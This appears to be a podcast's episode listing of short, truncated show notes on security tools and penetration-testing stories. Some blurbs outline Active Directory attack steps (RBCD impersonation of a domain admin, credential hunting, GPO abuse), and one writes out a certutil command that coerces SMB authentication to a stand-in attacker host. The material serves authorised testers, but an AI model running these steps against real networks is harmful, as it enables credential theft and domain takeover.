7MS #649: First Impressions of Twingate

7 Minute Security ·

2024/11/08

Today we take a look at a zero-trust / ditch-your-VPN solution called Twingate (not a sponsor but we’d like them to be)! It also doubles nicely as a primary or backup connection for your DIY pentest dropboxes which we’ve talked about quite a bit here. In other news, we’ve moved from Teachable to Coursestack, so if you’ve bought training/ebooks with us before, you should’ve received some emails from us last Friday and can access our new training portal here. (If you THINK you should’ve received

Hey friends, today I’m sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic.

2024/10/18

Hey friends, today I’m putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment. Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to “phone home” to you by way of GPO scheduled task. The things I talk about in this episode and show in the YouTube stream are all based off of this awesome presentation from

7MS #644: Tales of Pentest Pwnage – Part 64

2024/10/04

Hey! I’m speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester! Today’s tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate! It also emphases that cracking NETLM/NETNTLMv1 isn’t super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier!

2024/09/07

This was my favorite pentest tale of pwnage to date! There’s a lot to cover in this episode so I’m going to try and bullet out the TLDR version here: Sprinkled farmer files around the environment Found high-priv boxes with WebClient enabled Added “ghost” machine to the Active Directory (we’ll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against the victim system where some higher-priv users were sitting Use net.py to add myself to local admin on

Today we’re talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them. Also look at Look at Get-ScheduledTasks Find ids and passwords easily in Snaffler output with this Snaffler cleaner script There’s a ton of gold to (potentially) be found in SQL servers – check out my notes

7MS #636: A Prelude to BPATTY(RELOADED)

7 Minute Security ·

2024/08/12

Artificial hype alert! I’m working on a NEW version of BPATTY (Brian’s Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation. It’s weird. But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode).

Hey friends, we’re doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus! It’s cool, it’s free, it’s from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin’ in about 5 minutes.

Today’s tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you’re ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I’m not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you’re on a compromised machine,
